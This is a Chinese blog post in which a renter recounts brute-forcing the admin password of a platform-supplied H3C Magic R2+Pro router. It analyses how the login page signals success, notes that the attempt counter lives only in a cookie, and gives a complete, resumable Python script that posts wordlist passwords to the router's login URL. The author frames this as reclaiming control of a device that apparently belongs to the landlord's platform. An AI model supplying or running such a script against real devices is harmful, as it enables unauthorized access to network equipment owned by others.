[已实现]暴力破解路由器管理密码

[已实现]暴力破解路由器管理密码

自搬新家以后,第一时间连上网络,登录路由器后台。 博主租的房子是某平台的,网络是由平台提供的。和上次租房不同的地方在于,这次路由器后台管理密码居然和给的wifi连接密码不一样了,肯定是有人改过密码了!admin 等弱口令都试过了,全都不管用!对一个it技术人员来说,被人掌握网络生杀大权肯定是无法容忍的!

第一次测试的时候尝试用telnet登录路由器,发现密码已经被更改,无法登录,预料是跟web控制台密码一起改变的。

没有办法只能去研究web登录界面。

要暴力破解的话,我们需要用代码去构造http请求,因此我们要具备以下条件:

1.登录请求的地址是多少

2.请求格式是怎么样的

3.登录成功以后改如何判断

4.有没有对暴力破解做黑名单限制(有的话我们需要更改mac地址)

5.暴力破解的字典

话不多说赶紧去尝试

于是博主去尝试下登录失败以后,有密码错误的提示:

network如下,很明显的同步提交 。了解http的都知道同步表当提交表单data放在body里,以 [参数名]=[值]的形数存放到

这里我们构造请求的请求地址,参数都有了。

然后我们去判断一下怎么会弹出错误提示的:

因为是同步提交,其实本质上是对页面的跳转,很明显html内容就在response里面,

ctrl+f 一把找到了密码错误的JS ,可以看到 checkPsdFlag是关键checkPsdFlag='flase'。

弹出来的密码错误,在往上面看'true'==checkPsdFlag 是登录成功。

神奇的地方在于checkPsdFlag是resultInfo字符串截取出来的 。

那岂不是这个页面永远都是登录失败? 没错!

记得上面所说的么,这个是同步请求 。因此我怀疑 resultInfo是后台代码渲染出来的,

失败的时候是var resultInfo="false;0"; 成功的时候是var resultInfo="true;0";

证据在下面:当三次登录失败以后,再刷新这个页面:

所以登录成功的条件就是 返回的html里面存在 var resultInfo="true;0";

据我研究这个页面没有记录登录测试,连登录次数都是记录在cookie里的,算是比较幼稚的代码(。≖ˇェˇ≖。)

所以就犯不着修改物理地址去欺骗路由器了。直接暴力破解。

于是写了一段python代码[比较随意写的,只为了破解,就没特意封装 ( ᖛ ̫ ᖛ )ʃ)]

字典比较大,所以遍历文件的时候有个跳过多少行参数[这样今天破解不完 下次直接跳过上次已经读过的行继续往下破解就好了]

# -*- coding: utf-8 -*-

import requests

from itertools import islice

import sys

headers = {

'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',

'Cookie':'LOGINCOUNT=1; LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true'

}

def post(passwd):

data="psd="+passwd

res = requests.post(url="http://192.168.124.1/router_password_mobile.asp"

,data=data,headers=headers)

if('var resultInfo="true;0";' in res.text):

return True

else:

return False

def record(content):

with open("E:/work/36.4GB-18_in_1.lst/passwd.txt", 'w') as file:

file.write(content)

def readDic(skip):

linenum = skip - 1

with open("E:/work/36.4GB-18_in_1.lst/18_in_1.lst", 'r') as file:

for line in islice(file,skip,None):

linenum = linenum+1

line=line.replace('\n',"")

res=post(line)

print(str(linenum)+" "+line+" "+str(res), end="|")

if(res):

print("FOUND!")

record("FOUND! "+str(linenum)+" "+line+" "+str(res))

break

if(linenum%1000 == 0):

record(str(linenum)+" "+line+" "+str(res))

if __name__ == "__main__":

readDic(0)

其中record会每1000行记录下行号,在破译成功的时候记录正确的密码。字典的话需要网上自己去下载

然后就可以开始破解了:

记录着 行号 密码 结果

最后贴下路由器返回页面的源码ฅ•ﻌ•ฅ

H3C Magic R2+Pro千兆版 设备登录

管理密码

记住密码

 

忘记密码?

相关内容